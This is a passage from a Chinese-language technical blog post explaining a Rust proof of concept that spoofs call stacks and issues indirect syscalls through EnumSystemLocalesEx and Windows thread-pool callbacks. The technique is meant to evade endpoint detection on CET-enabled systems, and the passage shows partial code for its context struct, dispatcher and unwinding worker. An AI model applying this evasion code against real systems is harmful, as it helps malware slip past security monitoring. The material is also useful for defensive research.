leaf="">ntdll!RtlUserThreadStart+2C</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">（从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase.dll</span></code><span leaf="">解析）内部调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">，后者再调用我们的回调。两个帧都在栈上，都来自 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase.dll</span></code><span leaf="">。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012915" alt="Console output showing successful execution" class="rich_pages wxw-img" data-ratio="0.562037037037037" data-type="png" data-w="1080" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e7a6424&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjaZhKe85YicpSNFPMicrbyFT9BQ5oWBCib5qoffjxLMheMg7cM4Jh5Zm79om7icr181libjYPLDK2tg7T7QewwfJZpmJyoS3g3l9BE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Console output showing successful execution</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">显示成功执行的控制台输出</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完整的 PoC 仓库可在 GitHub 上获取：CET-Enum-CallStack-Spoofer。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5. 实现深入解析</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PoC 使用 Rust 编写，目标平台为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">x86_64-pc-windows-msvc</span></code><span leaf="">。让我们逐块分析。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5.1 EmbeddedContext 结构</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是三个阶段共享的状态：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">参数、簿记信息、栈备份。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#[repr(C)]</span><span leaf=""><br/></span><span leaf="">#[derive(Default)]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">EmbeddedContext</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    ssn             : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u32</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// System Service Number</span></span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// [4 bytes padding]</span></span><span leaf=""><br/></span><span leaf="">    trampoline      : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Address of &#34;syscall; ret&#34; in ntdll</span></span><span leaf=""><br/></span><span leaf="">    args_len        : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Number of syscall arguments (up to 11)</span></span><span leaf=""><br/></span><span leaf="">    arg1            : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Syscall arguments 1..11</span></span><span leaf=""><br/></span><span leaf="">    arg2            : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// ... arg3 through arg11 ...</span></span><span leaf=""><br/></span><span leaf="">    invoke_count    : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// How many times the callback was invoked</span></span><span leaf=""><br/></span><span leaf="">    backup_addr_arg5: </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Phase 1 stack backups (address + value)</span></span><span leaf=""><br/></span><span leaf="">    backup_val_arg5 : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    backup_addr_arg6: </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    backup_val_arg6 : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    backup_addr_arg7: </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    backup_val_arg7 : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    init_once       : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    worker_ctx_ptr  : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Pointer to Phase 1 CONTEXT</span></span><span leaf=""><br/></span><span leaf="">    callback_ctx_ptr: </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Pointer to Phase 2 CONTEXT</span></span><span leaf=""><br/></span><span leaf="">    saved_aup       : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Original TEB ArbitraryUserPointer</span></span><span leaf=""><br/></span><span leaf="">    magic           : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Self-referencing pointer for validation</span></span><span leaf=""><br/></span><span leaf="">    cb_sp           : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Phase 2 stack pointer (for cleanup)</span></span><span leaf=""><br/></span><span leaf="">    cb_orig_5       : </span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Phase 2 stack backups (original values)</span></span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// ... cb_orig_6 through cb_orig_11 ...</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">magic</span></code><span leaf="">字段存储结构体自身的地址（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">embedded_ctx.magic = &amp;embedded_ctx as u64</span></code><span leaf="">）。在回调中，我们通过检查&#34;</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">*(ptr + 0xC8)</span></code><span leaf="">是否等于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ptr</span></code><span leaf="">本身？&#34;来验证从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">获取的指针。一个任意的随机指针几乎不可能通过这个检查。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5.2 线程池调度器</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">入口点。创建工作项，提交，等待，检查结果。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">thread_pool_dispatcher</span></span><span leaf="">(embedded_ctx: </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;mut</span></span><span leaf=""> EmbeddedContext) {</span><span leaf=""><br/></span><span leaf="">    embedded_ctx.magic </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">from_ref</span></span><span leaf="">(embedded_ctx) </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">loop</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">        embedded_ctx.invoke_count </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> context_addr </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">from_ref</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">&lt;EmbeddedContext&gt;(embedded_ctx) </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> work </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">CreateThreadpoolWork</span></span><span leaf="">(</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">Some</span></span><span leaf="">(thread_pool_worker_enum),</span><span leaf=""><br/></span><span leaf="">                context_addr </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span leaf=""> _,</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">null_mut</span></span><span leaf="">()</span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span leaf="">        };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">SubmitThreadpoolWork</span></span><span leaf="">(work) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">WaitForThreadpoolWorkCallbacks</span></span><span leaf="">(work, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">CloseThreadpoolWork</span></span><span leaf="">(work) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> embedded_ctx.invoke_count </span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">循环是安全网。如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">magic</span></code><span leaf="">验证在回调中失败（因为其他东西在阶段之间写了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">），</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">invoke_count</span></code><span leaf="">保持为 0，我们重试。实际上这从未发生过，但我宁愿重试也不愿静默失败。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5.3 阶段 1：线程池工作线程</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最复杂的阶段。让我逐步说明。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">捕获并展开：</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">extern</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;system&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">thread_pool_worker_enum</span></span><span leaf="">(</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> _instance: PTP_CALLBACK_INSTANCE,</span><span leaf=""><br/></span><span leaf="">    context      : </span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span leaf=""> c_void,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> _work    : PTP_WORK</span><span leaf=""><br/></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> aligned_context: AlignedContext </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">zeroed</span></span><span leaf="">() };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> context_record: </span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span leaf=""> CONTEXT </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> aligned_context.</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">RtlCaptureContext</span></span><span leaf="">(context_record) };</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// ... RtlLookupFunctionEntry + RtlVirtualUnwind ...</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlCaptureContext</span></code><span leaf="">快照所有 CPU 寄存器。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlVirtualUnwind</span></code><span leaf="">展开一帧，给我们父级（TP 内部）的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RIP</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RSP</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">展开后，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">context_record.Rip</span></code><span leaf="">包含返回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TppWorkpExecuteCallback</span></code><span leaf="">的返回地址，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">context_record.Rsp</span></code><span leaf="">包含 TP 内部的栈指针。这些正是我们构建重定向帧所需的精确值。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, 